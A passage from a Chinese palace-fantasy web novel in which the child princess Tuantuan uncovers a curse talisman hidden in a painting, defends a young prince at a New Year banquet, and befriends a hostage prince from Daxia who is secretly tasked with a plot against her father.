他顿了顿:“老夫连夜请了郭太医,谁知药灌下去两日,毫无起色。郭太医同老夫讲‘此症非比寻常,不如请嘉佑郡主一看,或许能有办法’。”
萧元珩闻言,脸色顿时凝重起来:“老师言重了,既是老师的家事,元珩义不容辞。”
团团一听便急了,拉着宋敬贤的手就往外拖:“书珺姐姐病了?那咱们快去看看吧!宋爷爷,快走啊!”
程如安吩咐:“备车!去宋府!”
一行人来到宋府,走入了宋书珺的闺房。
屋内药气弥漫,画屏站在一旁垂泪,宋竹霖趴在姐姐的榻边。
他听见动静回过头,一见到团团,便冲了过来,拉着她的手就往床边拽,语带哭腔:“团团!你快来看看姐姐!她都不理
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我了!”
众人来到榻边,只见宋书珺静静地躺在锦被中,面容苍白,神情呆滞。
团团喊了一声:“书珺姐姐!”
宋书珺的头侧了一下,目光从团团脸上掠过。
像是没有认出她一样,又缓缓将头转了回去,眼睛死死地盯着帐顶。
程如安眼圈瞬间就红了:“团团,你快看看你书珺姐姐。”
“这到底是怎么了?好好的一个孩子,怎么转眼就这个模样了。”
团团皱了皱眉头,闭上了眼睛。
她回忆着楚渊的教导,凝神静气,将一切隔绝在外。
片刻之后,她倏地睁开了双眼。
目光所及,景象已大不相同。
只见丝丝缕缕粘稠如墨的黑气,正不断从宋书珺的脸上,身上升腾而起!
怎么会这样呢?这些黑气是从哪里来的啊?
团团猛地伸出小手,一把将宋书珺身上的锦被掀开,仔细在她周身摸索翻找。
被褥柔软,衣衫整洁,并无任何异物。
只有那些黑气,丝丝缕缕地从她的身上无声腾起。
团团将被子重新给她盖好。
宋书珺毫无反应,任由摆布。
团团开始在屋内上上下下地找寻,从妆台到铜镜,从绣架到墙角,不放过任何一个角落。
“团团,”宋竹霖忍不住问道,“你在做什么呀?”
“找东西啊!”团团头都没抬,“姐姐身上有好多的黑气,我在找这黑气是从哪里来的!”
“黑气?”宋竹霖一脸茫然,转头看向榻上的姐姐,哪里有什么黑气啊!
几个大人互相看了一眼,满面惊疑,却都没有出声,生怕打扰了她。
团团仔仔细细地找寻了一遍,一无所获地回到了床边。
她想了想:“书珺姐姐是前日开始变成这样的,对吗?”
“是啊!”宋竹霖用力点头,“姐姐前日明明还好好的!晨起带我认字,午后出去逛了一圈,回来没多久就说累了,然后就变成这样了!我怎么喊她,她都不理我了。”
他越说越伤心,眼泪啪嗒啪嗒掉了下来。
第217章 可曾与何人结下仇怨
团团急忙安慰他道:“你别哭嘛,咱们一定能把姐姐的病治好的。”
她看向床边的画屏:“书珺姐姐前日去逛街,买了什么东西回来吗?”
画屏连忙用袖子擦了擦眼泪:“回郡主的话,小姐买了一盒她素日常用的芙蓉膏胭脂,还买了一幅画。”
团团眼睛一亮:“在哪儿?”
画屏走到妆台前,取出一个精致的瓷盒,递给了她:“就是这一盒。那画小姐让挂在外间墙上了。”
团团打开瓷盒的盖子,一股甜腻的花香扑面而来。
她放在鼻尖仔细闻了闻,又翻来覆去地端详那瓷盒,片刻后,还给了画屏:“这个没有坏东西,带我去看看那幅画!”
“是,请随奴婢来。”画屏连忙引路。
大人们也急忙跟了出去。
来到外间,画屏抬手指向侧面墙上:“郡主,就是这张。小姐极是喜爱,买回来那日便站在这画前看了许久。”
众人抬头看去,那是一幅《江南烟雨图》。
画上山色空濛,水波澹澹,几处白墙黛瓦的瓦房掩映在朦胧烟水中,意境清远,笔法细腻。
画屏轻声道:“这画中的景致,与我家老爷江南老宅附近的风光很像。”
“小姐那日在墨韵斋一眼便看中了,欢喜得很,回来就吩咐奴婢们将它挂在了这里。”
团团仰起头,端详那幅《江南烟雨图》。
这画很干净啊,也没有黑气,那姐姐身上的黑气到底是从什么地方来的呢?
她满脸困惑地耷拉下小脑袋,仔细思索。
程如安见女儿的小脸皱成了一团,心疼地上前抚了抚她的发顶:“团团,歇会儿吧,莫要累着了。”
“我没事儿,娘亲。”团团摇了摇头,不肯放弃。
她转头看着画屏:“你再好好想想,这些日子里,姐姐这屋子,就只添了这两样东西吗?”
画屏仔细回想:“回郡主,奴婢确定。”
“年前虽也收了不少年礼,但小姐只是过了目,便命奴婢们收到库房里去了,都并未留在房中。”
团团抿紧了唇,哒哒哒地跑回内间妆台前,再次拿起那个胭脂盒,重新查了一遍,然后又跑了回来。
她冲着萧元珩伸出小手:“爹爹,抱我!”
萧元珩立刻俯身,将女儿稳稳抱入怀中。
团团指着那幅画:“走近些,爹爹!再近些!”
萧元珩依言上前,直到团团的鼻尖几乎就快碰到画纸了。
团团整个人都趴在了画上,瞪大了眼睛,一分分,一寸寸扫过画纸。
忽然,她伸出小手,指着画中的一处:“咦?这里面还有个人呢!”
众人闻言,立刻凑上前来,顺着她指的方向凝神细看。
只见那一片白墙黛瓦的瓦房中,有一扇极不起眼的小窗,窗内一个妙龄少女正倚窗而坐,幽幽地望着窗外的景色。
宋敬贤都惊讶了:“此画竟精细至此?”
程如安感叹道:“这画师的心思也太巧了。只是,画得这般细小,又有何用?”
团团伸出小手指,小心翼翼地摸了摸那画中的少女。
“咦?这里怎么比别的地方都厚呢?还硬硬的!”
她用力一抠。
“刺啦。”
轻微的撕裂声响起,画中少女所在的那一小块画纸,被她抠破了,飘落下来。
而那破损之处,一张仅有指甲盖大小,色泽暗黄的三角形符箓,也随着纸片,轻飘飘落在了地上。
团团从父亲怀里溜到地下,捡起符箓,放在眼前仔细端详:“爹爹!这里,画着一个虫子,跟你以前那只一模一样!”
萧元珩脸色大变,急忙蹲下身,就着女儿的小手看了过去。
只见符箓繁复的纹路中,竟真的有一个蛊虫的图案!
幽冥顶?!
团团将符箓递给画屏:“快!就是这个坏东西让姐姐生病的!快把它烧了!”
画屏不敢怠慢,用指尖小心翼翼地捏住,快步走到角落的炭盆前,丢了进去。
“嗤——”
一缕极细的黑烟猛地从炭火中窜起,带着一股若有若无的腥气,随即消散无踪。
团团转身跑回宋书珺的榻前,大人们也连忙跟了进来。
她再度凝神细看,宋书珺身上的黑气已然没了踪影,苍白的面容恢复了一丝血色,空洞的双眼缓缓阖上,呼吸变得均匀而绵长,沉沉地睡了过去。
团团摸了摸自己的胸口,对着宋竹霖露甜甜一笑:“姐姐没事儿啦!”
宋竹霖眼睛一亮:“真的吗?姐姐好了?可她为什么还是不理我啊?”
“姐姐累了啊,”团团给他解释,“那些黑气缠着她,她很难受的,好几日没好好睡觉啦。”
“现下坏东西没了,她要好好睡一觉。等她睡醒了,就会像以前一样,陪着你玩啦!”
宋竹霖这才彻底放下心来:“嗯!谢谢你啊,团团!”
程如安不禁念了一句:“**保佑啊!”
萧元珩目光深邃:“让她好好歇息,你们两个去外面
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玩吧,我们去正厅喝杯茶。”
宋敬贤吩咐画屏:“好生照顾着。”
三人来到正厅,落座。
宋敬贤神色郑重:“今日多亏了团团,救了书珺一命。老夫铭记于心。”
“团团年纪虽小,却已有如此慧眼与担当,实乃天佑。”
程如安连忙道:“宋公言重了,团团能与书珺姐弟投缘,也是她的福分。”
宋敬贤看向萧元珩,目光灼灼:“元珩,老夫欲收团团为关门弟子,将毕生所学,倾囊相授。”
萧元珩闻言一怔,随即面露难色:“老师厚爱,我感激不尽。只是,团团已是国子监崔祭酒的师傅,此事京城人尽皆知。若再拜入老师门下,只怕会因此伤了崔祭酒的颜面。”
宋敬贤微微一笑:“团团如此年幼,竟已是崔代盛的师傅了?这老夫还真没有想到。”
他想了想:“无妨!崔代盛与老夫熟稔无比,此事我会亲自修书一封,与他细说分明。“
“待到拜师宴时,将他请来上座,当众言明,团团虽入我门下,与崔祭酒却并非同门一脉,自然便与他无碍。”
“至于元珩你,昔日虽也曾听老夫讲学,然此番收徒,只论我与团团的缘分,今后你我朝堂论交,与此并无干系。如此可尽妥了?”
萧元珩起身行礼:“多谢先生为小女考虑得如此周全!团团能得您教导,本王求之不得!”
程如安也跟着站起行礼:“多谢宋公!“
宋敬贤一脸欣喜:“好!好!没想到老夫暮年回京,还能收此良才为徒,甚是欣慰!坐吧。”
二人坐回。
萧元珩道:“先生,今日之事,绝非偶然。”
“那符箓藏得如此隐秘,实是阴毒险诈。您仔细想想,回京之后,可曾与何人结下仇怨?”
宋敬贤沉吟良久,缓缓摇头:“老夫回京时日尚短,未曾与人结怨。”
萧元珩道:“先生请放心,此事我宁王府绝不会坐视不理。竟以如此阴毒德手段,残害忠良,其心可诛!定要查个水落石出!”
宋敬贤长叹一声:“有劳你了。”
“对了,方才团团说的虫子是什么?”
萧元珩回道:“本王也不是很清楚,只是曾经见过罢了。”
说罢他起身告辞,和程如安一起带着团团离开了宋府。
回到王府,萧元珩叫来萧二:“即刻去查!查那间墨韵斋的底细,查那幅《江南烟雨图》,究竟是何人所作!”
“是!”萧二领命而去。
第218章 安稳度日,共享太平
次日晚间,萧二禀告:“王爷,属下查了‘墨韵斋’,只是寻常商家,并无其他背景。”
“掌柜的说,那画是个寻常穷学子拿来换饭钱的,他因见那画笔法细腻,意境悠远,因此才留下了,并不知那学子的姓名。”
“属下依他所说查到登科巷,那里住的皆是往来的学子,人来人往,此人早已不知去向。”
萧元珩冷笑一声:“也就是说,那幅画并不是特意要卖给谁,只是放在那里,谁买了便算谁倒霉。”
萧二点头:“看起来确是如此。只是那墨韵斋价格不菲,平日光顾的多是官眷贵妇。”
“可见,此画针对的便是京城里的这些高门女眷。”
“砰!”
萧元珩一掌重重拍在案上:“如此,才更可恨!”
“若是单独冲着谁来,不过是私怨仇杀。这般作为,则是视人命如草芥!”
“竟然将满城官眷皆视为可随意戕害的猎物!事后隐匿的还如此干净!这幕后之人,其心之毒,其志之大,绝非寻常!”
“这个幽冥顶,究竟是谁在操控?所为何来?”
他想了想:“将此事的来龙去脉,告知汪明瑞,但愿以他的能耐,能尽快揪出这个幽冥顶,将他们绳之以法。”
“是。”
正月十五,萧杰昀传旨命宁王夫妇携团团入宫出席家宴。
宴席上,团团发现,在座的全是年纪尚小的皇子和公主以及他们的母妃,除了她熟识的十一和十二,其他全是生面孔。
萧杰昀心情颇佳:“今日家宴,都不必拘礼,随意些吧。”
团团很自然地同萧进、萧林坐在了一处。
正餐用毕,宫人们端上来一碗碗热气腾腾的白胖元宵,每个小娃娃面前都有一碗,碗中数量相同,每人四个。
团团刚拿起小勺,一个看着年纪比萧林稍大点的皇子端着自己的小碗,大摇大摆地走到了他们的桌旁。
他径直停在萧进面前,把手里的小碗往他眼前一杵,扬着下巴:“十二弟,你看,我的元宵比你的大!比你的好!”
萧进被他吓得往后缩了缩:“十、十哥……”
十皇子见他害怕,越发得意,几乎要把碗怼到他脸上:“你看啊!我这碗就是比你的好!”
萧林瞪圆了眼睛,正要开口,团团“啪”的一声,放下了小勺。
她站起身,走到十皇子面前,看了看他那碗元宵,又回头看了看萧进的碗。
“明明都是一样的!你胡说!”
十皇子脸上挂不住了,小脸一红:“你懂什么!就是不一样!我的更好!”
团团白了他一眼,没再搭理他。
她转身回到座位,将萧进的碗和自己的碗贴在一起,拿起小勺,从自己的碗中舀起一个元宵,小心翼翼放在了萧进碗里的元宵上。
紧接着,又一个。
然后又舀起一个,稳稳地叠了上去。
她屏息凝神,竟将八个元宵全部垒了起来,在碗中叠成了一座圆润可爱的“小宝塔”!
“看!”团团指着自己那独一无二的元宵塔,对十皇子说,“十二的元宵,会叠高高!你的不会!”
她转头看向萧进:“十二你看,你的就是比他的好!”
萧进的眼睛亮晶晶的,小脸上全是光彩,萧林拍着小手鼓起掌来:“团团真厉害!十哥输啦!”
十皇子看着自己碗中那泡在汤里、毫无特色的元宵,又看看团团那座不可思议的“元宵塔”,“哇”的一声哭了出来。
他将碗往桌上一放,转身跑向另一桌坐着的一个后妃,扑进了她的怀里:“母妃!我的元宵不会叠高高!我的元宵不如十二弟的好!”
那后妃赶忙安慰起他来,十皇子满心委屈,哭的声音越来越大。
响亮的哭声立刻吸引了全场的注意。
萧杰昀循声望去,见十皇子正在他母妃怀里哭得伤心:“老十这是怎么了?好端端的怎么哭起来了?”
宫人连忙快步上前,忍着笑意,将方
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才的事禀报了一遍。
萧杰昀抚掌大笑,对坐在下首的萧元珩道:“元珩,团团这个性子,你们是真可以放心了!在哪儿都吃不了亏。”
“聪慧机敏,更难得的是,懂得护着自己的朋友,颇有些侠义之风。”
皇帝毫不掩饰的赞赏,令席间众人也跟着纷纷笑了起来。
萧元珩看了看女儿,一脸骄傲:“陛下谬赞了,小女顽皮,让陛下见笑了。”
恰在此时,殿外传来“砰——!”的一声巨响。
众人循声望去,只见漆黑的夜空中,一朵巨大的金色牡丹轰然绽放,流光溢彩,几乎照亮了整个宫阙。
“烟花!是烟花!”孩子们立刻欢呼起来。
团团和萧林、萧进一起跑到窗边,三个小脑袋挤在一起,眼巴巴地仰望着夜空。
紧接着,更多的烟花呼啸着升空。
银色的瀑布垂落九天,绚丽的火树绽开漫天华彩,……砰砰之声不绝于耳,将整个皇宫映照得恍如白昼,照亮了每一张仰望的笑脸。
团团看得目不转睛,萧林和萧进在一旁兴奋地指指点点:
“这个好看!”
“那个更好看!”
萧杰昀立于窗边,望着这盛世烟火:“元珩,今岁总算是平安度过了。朕只愿,往后的每一年,都能如此。”
“我大烈的百姓们,每一个都能安稳度日,共享太平。”
萧元珩看着皇帝映着火光的侧脸:“陛下励精图治,心系万民。上天必会庇佑,我大烈定然风调雨顺,国泰民安。”
“哈哈,好!”萧杰昀朗声大笑。
年节的气氛随着烟花散去,次日,早朝。
百官列班,兵部尚书快步出列:“陛下,臣有本奏。”
“我巡防士卒于西部边境一处隐蔽的山谷中,查获一非法作坊,发现若干私物坊九星连**的箭尾部件。”
“现场擒获一名未能及时逃脱的工匠,经审讯,其人供认,乃是奉西卢姬峰之命行事!”
第219章 那我伴什么啊
萧杰昀微微皱了下眉头,西卢?
萧元珩心中一跳,姬峰?不可能!
此人虽谈不上光明磊落,却也是个直来直去的性子,快意恩仇,又对团团颇为回护,岂会如此行事?
若他有心对烈国不利,七皇子和团团他们在大夏时便可下手,何必绕这么大的圈子?
他快步出列:“陛下,此事还需详查,那工匠也有可能是信口胡言,仅凭其一人之言,不可轻信。”
“宁王此言有理,”萧杰昀沉吟片刻,“但西卢不可不防,兵部当加派人手,严查西部边境。”
“是!”兵部尚书回列。
殿外传来内侍高声禀告:“启禀陛下!大夏皇子公孙越在殿外求见!”
萧杰昀点了下头,程公公高声道:“宣大夏皇子进殿!”
逆着晨光,一个看着也就五六岁年纪,极其矮小的身影出现在大殿门口。
他手中捧着一卷对于他而言明显过大的国书,低着头,一步一步,缓慢走入殿内。
他来到御阶前下跪行礼,身上繁复的皇子服,令他的动作笨拙而吃力。
“大夏皇子公孙越,参见陛下。”他将国书高高举过头顶,“奉父皇之命,前来递交国书。”
程公公快步走下御阶,取过国书,捧给了萧杰昀。
萧杰昀展开看了看:“公孙越,你父皇在国书中说,愿以边境两城,换回大夏的玉玺,并让你留质于我烈国?”
“是,陛下。”公孙越的小脑袋垂得更低了,声音细弱。
“父皇告诉儿臣,嘉佑郡主是烈国仙使,神通广大。”
“他很喜欢郡主,命我留下来,给郡主做伴读,向郡主讨教学习。待我七岁以后,再听从陛下安排,去给其他皇子做伴读。”
萧杰昀沉吟片刻,不置可否:“朕来问你,你可知何为‘质子’?”
公孙越的小身子抖了一下:“知,知道。就是,如果大夏做了对不起烈国的事,陛下就可以杀了我。”
萧杰昀深深地看了他一眼:“倒是个明事理的孩子。来人,先带他下去吧。”
“是。”一个内侍走进,“请随我来。”
公孙越从地上爬起来,跟着他,离开了大殿。
萧杰昀看向百官:“众卿有何高见?”
一个大臣出列道:“陛下,这大夏的玉玺,终归是大夏之物,早日归还,对两国邦交有益无害。”
“既然如今大夏皇帝愿意以两座城池和一个皇子来交换,臣以为,大可以顺水推舟,玉成此事。”
另一个大臣出列:“陛下,玉玺确实要还,但臣以为,还可以再要一城。既然两城他们可以舍,再加一城,应当也无妨。”
萧杰昀点了点头,未下决断。
退朝后,紫宸殿。
“元珩,公孙越给团团做伴读一事,你意下如何?”
萧元珩想了想:“陛下,团团那个性子,何须伴读?即使要,也该是个女官,而非男童。”
“大夏皇帝送个皇子过来,还指明让他七岁前,给团团当伴读,虽说男女七岁方不同席,于礼法无碍,但臣总是担心,来者不善。”
萧杰昀微微一笑:“元珩真乃慈父,凡事都先为团团考虑。”
萧元珩想起女儿,嘴角便微微翘起:“实在是团团太令臣心中欢喜,便总会为她多想一些。”
萧杰昀点点头:“我意已决。让大夏以三座城池来换他们的传国玉玺。那公孙越年已六岁,便让他给团团做一年的伴读去吧。”
萧元珩忙道:“陛下圣明!”
回到王府,萧元珩将此事告知程如安。
程如安一听便眉头紧锁:“陛下为何同意此事?”
萧元珩道:“大夏皇帝提了两件事,陛下若全部驳回,便没有了商量的余地。驳回了一件,答应另一件,以此平衡,也是正常。”
程如安问道:“那大夏皇子什么模样?”
萧元珩回想了一下:“瘦瘦小小的,看着跟团团差不多。”
程如安叹了口气:“这么小,却要到他国为质,也是可怜。”
萧元珩点点头:“不过一个六岁稚子,想来也不会怎样,我让萧二盯紧着些。”
几日后,大夏同意
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以边境三城换回玉玺,萧杰昀下旨命公孙越为团团的伴读。
圣旨下来后的次日,公孙越第一次来到了宁王府。
下人带着他至正厅等候。
他战战兢兢地站在正厅中央,小脑袋垂得低低的,眼睛紧盯着地面。
程如安领着团团走了进来。
公孙越急忙行礼:“见过宁王妃,嘉佑郡主。”
程如安一看,小小的一个人儿,没比团团高多少,穿着身半新不旧的衣裳,头发一丝不苟,浑身上下都规规矩矩的。
“请起,坐吧。”
“谢宁王妃。”公孙越爬起来,在椅子里就坐着个边儿,自始至终都没敢抬头看过一眼。
团团看着他,这个小哥哥好小啊。
她走到公孙越面前,公孙越看着眼前多了一双小绣花鞋,往椅子里挪了挪屁股。
团团看着他:“我是团团!你就是大夏皇子公孙越?”
公孙越点了点头,脑袋垂的更低了。
团团弯下腰去看他的脸,把他吓了一跳,这才抬起了头。
团团笑了:“你长得很好看嘛!干嘛总低着头呢?”
公孙越看着团团:“我,我是个质子。我怕做错了事,就再也回不去了。”
团团问道:“什么是质子啊?你不是大夏的皇子吗?”
公孙越的头又垂了下去:“质子就是,父皇不要我了,让我以后都住在这里,不能回家。”
“如果,大夏和烈国打起来,我就会**掉了。”
团团皱起了眉头:“你父皇脑子有病了?干嘛送你来嘛!皇伯父人很好的,就算打起来,也不会杀了你的,杀了你有用吗?放心吧!”
公孙越猛地抬起了头,看着团团的眼睛闪动着泪光:“真,真的吗?”
团团学着母亲的话:“比珍珠都真!对了,娘亲说,你是来给我当伴读的,读什么啊?”
公孙越一愣:“我是你的伴读啊,郡主,你读什么我便读什么,现下读到哪一本了?”
团团嘿嘿一乐:“我哪本都没读!”
“啊?那,那我伴什么啊?”
第220章 做得不错
程如安在一旁听得啼笑皆非:“团团,你带他去府里逛逛吧,除了你爹爹的书房,去哪里都行。”
团团开心地拉起公孙越的手:“走!我家里好玩的多着呢,咱们一起去玩!”
公孙越站起身,给程如安行了个礼:“王妃娘娘,我告退了。”
程如安看着他,心中酸软:“去吧,好好玩吧。”
“走!咱们去看雪衣!它现在会说好多话呢,是我三哥哥送给我的哦!”
团团带着公孙越,看完了雪衣又去马厩看了小白:“我二哥哥说了,等天暖和了就教我骑马!以后,我就能骑着小白去我想去的地方啦!”
公孙越满脸都是羡慕:“他们对你真好啊!”
团团奇怪:“他们都是我的家人啊!当然会对我好啦,你的家人对不你好吗?”
公孙越的小脸拉了下来,摇了摇头:“只有母妃对我好,父皇,我都没见过他几次。”
团团回想着公孙驰的模样:“哦,你那个父皇啊,脸上跟不会动一样,他要是不说话啊,我还以为是假的呢。”
公孙越噗嗤一声笑了出来,越笑声音越大,完全控制不住,最后笑得捂着肚子,滚倒在地上。
团团蹲下身看着他:“有那么好笑吗?我说的是真话啊!”
公孙越坐了起来:“郡主,你真是太可爱了,从来没有人敢这么说他。”
团团笑了:“叫我团团吧,我叫你……小越越好不好?”
公孙越一怔,轻声道:“我母妃就叫我小越越。”
团团得意了:“你看,我就说我起名字起得最好了!”
萧二在不远处撇了撇嘴,小小姐,你当真的吗?
他转身来到静兰苑中:“末将方才一直跟着她们,看着都是寻常玩耍,并无任何不妥。”
程如安点了点头:“那孩子怯生生的,不像是个调皮的,你远远地看着就好,让他们玩吧,只一点,王爷的书房不能让他进去。”
“是。”
走了一大圈,团团和公孙越回到了雪衣的架子下。
公孙越仰起头看着雪衣:“团团,你的雪衣下过蛋吗?”
“下蛋?”团团一怔,看着架子上正扑扇着翅膀的小鸟,“没有啊,雪衣没下过蛋。”
公孙越的脸上露出了些许同情:“我在宫里时,也见过这种会说话的鸟。”
“照顾它们的宫女告诉我,它们都会下蛋。而且,下了蛋还会把它藏起来,可宝贝了。”
“雪衣不会下蛋,一定很难过,别的鸟都会,就它不会。”
团团皱起了眉头,我的雪衣不会下蛋!别的鸟都会笑话它!
那怎么行呢!不能让雪衣受这样的委屈!
她想了想:“你见过那些蛋什么样子吗?”
公孙越想了想:“同鸡蛋差不多,就是小一些。”
团团眼睛一亮:“走,咱们这就去帮它下个蛋!”
公孙越愣了:“这,也能帮?”
“走啊!你跟我来!”团团拉起他的手,就跑向了厨房。
厨娘一见到团团,笑得眼睛眯成了一条缝:“小小姐来啦?是不是有什么想吃的?跟嬷嬷说,嬷嬷给你做。”
团团摆摆手:“不是啦!嬷嬷,我想要一个蛋!”
厨娘愣住了:“蛋?什么样的蛋?”
雪衣那么好看,它的蛋也不能丑!
“要一个最白、最圆、最漂亮的蛋!啊对了!要小一点的。”
厨娘一脸茫然,但既然小小姐想要,那必须有啊!
她立刻从备好的食材里精心挑选,拿出了一只个头偏小,形状完美的白水煮蛋,递给了团团:“喏,你看看,这个行吗?”
团团小心翼翼地用双手捧了过来,仔细端详。
雪白圆润,泛着淡淡的水光,比平时常见的的小一圈。
她满意地点了点头:“谢谢你啦!嬷嬷!”
“走!小越越!”
公孙越跟上她:“可是团团,这个,是熟的啊!”
“嘘!小声点儿!别让雪衣听见,它又不知道!”
“……”
二人回到鸟架下。
团团仰起头:“太高了,我够不着啊。”
她扯开嗓子大喊:“二叔叔!二叔叔!”
萧二飞快地出现在二人面前,把公孙越吓得后退了几步,仰起头看着他高大的身躯。
“这是我二叔叔!”
公孙越四下看了看:“他怎么突然就来了?吓了我一跳!”
团团一脸自豪:“对啊!我二叔叔最好了,我在哪儿,他就在哪儿!”
“二叔叔,抱我!靠近雪衣的架子。”萧二一把将她抱起了起
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来,凑近了雪衣。
团团将手里捧着的蛋,小心翼翼地放进了雪衣的小食碗里。
雪衣扑棱着翅膀,低头看了看自己食碗中多出来的陌生东西,立刻扯着嗓子大叫:“团团!团团!”
团团摸了摸它的羽毛:“这是我帮你下的蛋!你看,多好看啊!以后,你也有蛋啦!”
萧二听得一脸问号,小姐帮雪衣下的蛋?
可是,雪衣是公的啊!
团团从他怀里溜下来,拉着公孙越,两个小家伙并排站好,仰着头,眼巴巴地看着雪衣。
见程如安走过来,团团立刻兴奋地扑过去,抱着她的腿,抬手指着架子,高兴的小脸通红:
“娘亲!快看呀!我和小越越一起帮的雪衣,它终于也有蛋啦!比别的鸟都漂亮的蛋!雪衣再也不会被其他的鸟笑话它不会下蛋了!”
程如安顺着她指的方向看去,只见那颗光溜溜的熟鸡蛋,正稳稳地躺在雪衣的食碗里。
雪衣委屈得不行,不停地高喊着:“团团!团团!”
她先是一愣,随即再也忍不住,蹲下身,一把将女儿和那个同样眼巴巴看着她的小质子揽进怀里,笑得肩膀直抖。
“好!好!你们俩可真是太厉害了!”
公孙越浑身一僵,一动都不敢动,程如安心中叹息,这孩子,以前定是没少吃苦。
她站起来,一手领一个:“走,回静兰苑,吃糖糕去。”
临近傍晚,公孙越该走了,团团道:“后日再来吧,明日我要去见国师。”
公孙越猛地哆嗦了一下。
“你怎么了?”
公孙越低声道:“我们大夏的国师,可吓人了。”
团团满不在乎:“哦,那个坏蛋国师啊,你别怕他。他现在应该做不了什么坏事了。”
公孙越没作声,告辞而去,回到了自己的住所。
一个中年太监迎了上来,给他更衣斟茶。
公孙越安静地由着他伺候。
“郡主身边有一个高大的侍卫,是她的二叔叔,一直跟在她身边,一叫就会出来。”
那太监点了点头:“做得不错。”
“奉陛下的旨意,杂家需时时提醒殿下,陛下要的,是宁王的项上人头。”
“云妃还在等着殿下回去,殿下的时间,并不多。”
第221章 还真像珣儿小的时候
隔日,公孙越如期而至。
团团和他在府中玩了一会儿后便闷了:“娘亲,我想和小越越去街上逛逛。”
程如安欣然同意。
萧二带着两人来到了热闹的大街上。
团团拉着公孙越在街上跑来跑去,一起看中了一个憨态可掬的泥娃娃:“二叔叔!我要这个!要两个,我和小越越一人一个!”
萧二付了银子:“帮我分成两份包起来。”转头一看,两人已经跑到街对面的摊子上去了。
“走!咱们去那边看看。”团团拉着公孙越继续往前走。
一个身穿灰布短衫,身形瘦小的男人低着头,脚步飞快地从她身边擦过,手法娴熟地一勾。
“呀!”团团只觉得腰间一轻,低头一看,娘亲亲手绣的小荷包不见了!
“我的荷包!”她惊呼出声。
那窃贼得手后,立刻钻入人群缝隙,向一旁的小巷溜去。
“站住!”公孙越窜了出去,小小的身子在人群中钻来钻去,速度飞快,直追那抹灰色的身影。
“小越越!”团团也追了上去。
“小姐!”萧二没再管泥娃娃,心中大急,急忙也追了过去。
巷子里,窃贼正得意地掂量着荷包,身后传来一声孩童的低喝:“把东西放下!”
窃贼回头,见只是个衣着普通的小男孩,顿时嗤笑一声:“滚开,小屁孩!”转身欲走。
公孙越眼神一凛,不再废话。
他猛地冲了过去,利用身材矮小的优势,一个敏捷的滑铲,精准地绊在窃贼的脚踝上!
“哎哟!”窃贼猝不及防,惊呼着向前扑倒,手中的荷包脱手飞了出去。
公孙越就地一滚,灵巧地接住了荷包。
窃贼骂骂咧咧地爬起来,刚想动手,抬头看见团团和萧二也追进了巷子里,转头就跑向了小巷的深处。
公孙越从地上爬起来,手中紧紧攥着团团的荷包。
“团团,我给你抢回来了!”公孙越将荷包递到团团面前。
团团拉过他的手臂,那里的衣料被粗糙的地面磨破,渗出了点点血丝:“你受伤了?”
公孙越这才感觉到手肘火辣辣地疼,低头一看:“不碍事的。”
他轻声道,“你的荷包。”
团团这才接了过来,小嘴一瘪,大眼睛里瞬间就蒙上了一层水汽:“都流血了,疼不疼啊?”
公孙越愣住了。
从小到大,他受伤、生病,除了母妃外,从来无人在意,更没有人,会因为他的一点小伤,就难过得要哭出来。
陌生而滚烫的心绪翻涌上来,令他顿时不知所措。
“不……不疼。”
“胡说,都流血了!咱们赶紧回去,给你上药!”团团拉着他没有受伤的手:“小越越,谢谢你!你真是太厉害了!”
“二叔叔!咱们回家!“
萧二一手抱起团团,另一只手下意识地也想将公孙越抱起来。
公孙越却后退了半步,避开了。
萧二的手顿在半空,深深看了他一眼:“那跟紧我。”
回到王府,程如安急忙命人拿来金创药,亲手给他清理了伤口,洒上药粉,仔仔细细地包扎好。
公孙越乖巧地坐着,一声不吭。
这孩子,喊疼都不敢吗?
程如安忍不住问他:“你以前也常受伤吗?”
公孙越想了想,点了点头。
团团很奇怪:“为什么啊?”
公孙越轻声道:“我母妃只是个宫女,父皇有许多娘娘,她们都看不起她。”
“也看不起我,有几个皇兄总是找我麻烦。”
团团握紧小拳头:“那你打他们啊!”
公孙越的头垂了下去:“打过,但他们人多,奴才也多,我打不过。”
团团怒道:“那就去你父皇那里告状!让他去收拾他们!”
公孙越摇了摇头:“父皇不会管的,他儿子太多了。”
“他总说,强者自存,活不下去是因为太弱了,太弱便不该活着。”
团团听呆了:“这是什么胡话?哪有这样当爹的啊!”
程如安摇了摇头,轻叹一声。
难怪这孩子总是怯生生的,父亲不疼,母亲又护不住他,皇宫那种地方,难为这孩子熬了这么多年。
她看了看他磨破的衣裳:“刘嬷嬷,去珣玉斋,找一件珣儿小时候的衣裳拿过来。”
“是。”
不多时,衣服拿来了,公孙越穿上一试,正合身。
程如安看了看他微乱的头发:“来,我给你梳一下。”
公孙越
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忙道:“不敢劳动王妃娘娘。”
程如安微笑:“不妨事,珣儿他们小时候,我也经常给他们梳的,坐好。”
公孙越笔直的坐着,一动不动。
程如安给他重新梳好了头发看了看,笑了:“这副样子,还真像珣儿小的时候。”
公孙越起身行礼:“多谢王妃。”
程如安看着他,心中越发柔软:“晚上在王府里和我们一起用晚膳吧,你回去也是一个人,怪没趣的。”
团团一听开心了:“对啊!晚上咱们一起吃吧。“
公孙越又要行礼,程如安扶住了他:“不必多礼,太生分了。”
晚膳时,除了萧宁辰在军营,一家人全到了。
萧元珩看着公孙越,目光深邃:“我听萧二说了,你反应很快,身手也不错,以前练过?”
公孙越回道:“打架打的多了,多少也就会一点了。”
萧宁远一听:“没错!有几个是真正拜师苦练的?大部分都是打架打出来的。”
萧宁珣白了大哥一眼:“大哥,你从小练功吃不得苦,可不是打架打出来的哦!”
众人都笑了。
公孙越看着他们,原来,一家人吃饭是这个样子,真好。
吃完饭,团团缠着萧元珩:“爹爹,我要举高高!”
萧元珩闻言将她一把抱起,抛到半空又接住,团团咯咯咯直乐:“爹爹举得最高了!爹爹真好!”
公孙越仰着头看着,满脸都是羡慕。
这便是大烈的战神宁王,在家中的样子。
原来,并非所有的父亲都像父皇一般冷酷无情。
这日过后,公孙越与团团越发亲密,几乎形影不离。
宁王全家待他也格外亲厚。
数日后,宋敬贤收团团为徒的拜师宴在宋府举行。
帝师下贴,京城的达官显贵们几乎都到了。
萧元珩携全家盛装出席,公孙越作为团团的伴读,换上了皇子的衣饰,也跟着来了。
团团一进宋府便跑到后院去找宋书珺姐弟两人。
公孙越独自一人坐在角落里,不愿引起任何人的注意。
然而,一道不大不小的声音还是响了起来:“这不是大夏的皇子殿下么?穿得这般隆重,我都差点忘记你是个质子了。”
第222章 你的主意真好
